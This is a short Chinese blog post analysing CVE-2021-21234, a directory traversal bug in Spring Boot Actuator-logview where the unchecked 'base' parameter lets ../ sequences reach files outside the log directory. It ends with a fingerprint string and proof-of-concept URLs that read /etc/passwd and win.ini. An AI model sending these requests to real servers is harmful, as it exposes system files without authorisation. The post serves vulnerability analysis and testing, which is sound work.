0x01 前言
首先声明一下CVE-2021-21234是属于文件包含漏洞,却被很多人起标题写成文件上传、文件、任意文件上传等等。起初看到这些标题的时候都给我整的一愣一愣的,到底是文件包含还是任意文件下载,还是文件上传。很凑巧,近期有Spring-Boot目标需要进行测试,因此做好记录。
0x02 漏洞分析
Actuator-logview是Spring Boot中的类似插件的库,此库的维护已经没有很久没有更新,而Actuator-logview中存在一个简单的日志文件查看器的功能,其端点路径为/log/view,这个端点是由Maven包提供的。

选择日志文件后,就被重定向到以下形式的URL:
/ log/view?filename=somefile.log&base=
看到filename这点,紧接着就尝试../etc/passwd看是否能够访问成功,但结果显示是不起作用的。

显然,该参数大概率是做了特殊字符处理。虽然后端检查了filename参数以防止目录遍历攻击,但是却没有充分检查base参数,因此将../注入到base参数当中,即可访问日志记录以外的文件。

这不是一个完整的远程代码执行漏洞,它属于本地文件包含漏洞,而本地文件包含漏洞和目录遍历漏洞没有区别,所以也可以称之为目录遍历攻击。
0x03 影响版本
Spring-Boot Actuator-logview <= 0.2.12
0x04 POC
Spring Boot指纹:
body="Whitelabel Error Page"
Windows poc:
http://192.168.0.100/log/view?filename=/windows/win.ini&base=../../../../../../../
http://192.168.0.100/log/view?filename=/windows/win.ini&base=../../../../../../../
Linux poc:
http://192.168.0.100/log/view?filename=/etc/passwd&base=../../../../../../../
http://192.168.0.100/log/view?filename=/etc/passwd&base=../../../../../../../
谢谢你的关注,为小伙伴们持续输出高质量文章。

7485

被折叠的 条评论
为什么被折叠?



